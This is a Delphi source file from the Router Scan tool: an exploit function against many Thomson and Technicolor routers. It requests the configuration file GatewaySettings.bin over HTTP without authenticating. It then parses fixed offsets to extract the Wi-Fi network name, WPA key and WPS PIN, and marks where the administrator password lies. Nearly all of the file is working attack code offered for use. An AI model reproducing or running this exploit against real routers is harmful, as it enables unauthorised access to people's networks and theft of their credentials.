// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://www.securiteam.com/securitynews/5XP380ADFA.html

function TRouter.Exploit_Thomson_Technicolor(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  MS: TMemoryStream;
  dw, off: DWord;
  w: Word;
  Found: Boolean;

  function SearchBlock(Src: TMemoryStream; Name: AnsiString; var Off: DWord;
    var Sz: Word): Boolean;
  var
    A: Array[0..3] of AnsiChar;
  begin
    Result := False;
    while Src.Position < Src.Size do begin
      Off := Src.Position;
      Src.ReadBuffer(w, 2);
      Sz := SwapEndian(w);
      Src.ReadBuffer(A[0], 4);
      Src.Seek(-6, soCurrent);
      if A = Name then begin
        Result := True;
        Exit;
      end;
      Src.Seek(Sz, soCurrent);
    end;
  end;
begin
  // Affected:
  // Technicolor (many)
  // Thomson (many)
  Result := False;
  if ServerName <> '' then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  MS := TMemoryStream.Create;
  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/GatewaySettings.bin',
  MS, Code, 5, 0, ServerName, False, AuthUser, AuthPass) then
    if MS.Size > 256 then begin
      MS.Seek($5A, soFromBeginning);
      MS.ReadBuffer(dw, 4);
      dw := SwapEndian(dw);
      if dw = $10000 then begin
        MS.Seek($5E, soFromBeginning);
        MS.ReadBuffer(w, 2);
        w := SwapEndian(w);
        if w = MS.Size - $10 then begin
          Found := SearchBlock(MS, '8021', off, w);
          if Found and (w >= $22E) then begin
            SSID := PAnsiChar(Cardinal(MS.Memory) + off + 8);
            SetTableCell(stcSSID, SSID);
            Pasw := PAnsiChar(Cardinal(MS.Memory) + off + $174);
            SetTableCell(stcKey, Pasw);
            Pin := PAnsiChar(Cardinal(MS.Memory) + off + $225);
            SetTableCell(stcPin, Pin);
          end;
          {Found := SearchBlock(MS, 'WiGu', off, w);
          if Found and (w >= $C1) then begin
            LAN := IntToStr(PByte(Cardinal(MS.Memory) + off + $B9)^)+
            '.' + IntToStr(PByte(Cardinal(MS.Memory) + off + $BA)^)+
            '.' + IntToStr(PByte(Cardinal(MS.Memory) + off + $BB)^)+
            '.' + IntToStr(PByte(Cardinal(MS.Memory) + off + $BC)^);
            SetTableCell(stcLANIP, LAN);
            LAN := IntToStr(PByte(Cardinal(MS.Memory) + off + $BD)^)+
            '.' + IntToStr(PByte(Cardinal(MS.Memory) + off + $BE)^)+
            '.' + IntToStr(PByte(Cardinal(MS.Memory) + off + $BF)^)+
            '.' + IntToStr(PByte(Cardinal(MS.Memory) + off + $C0)^);
            SetTableCell(stcLANMask, LAN);
          end;}
          Found := SearchBlock(MS, 'UPC.', off, w);
          if Found and (w >= $C1) then begin
            // admin password somewhere here
          end;
        end;
      end;
    end;
  MS.Free;
end;
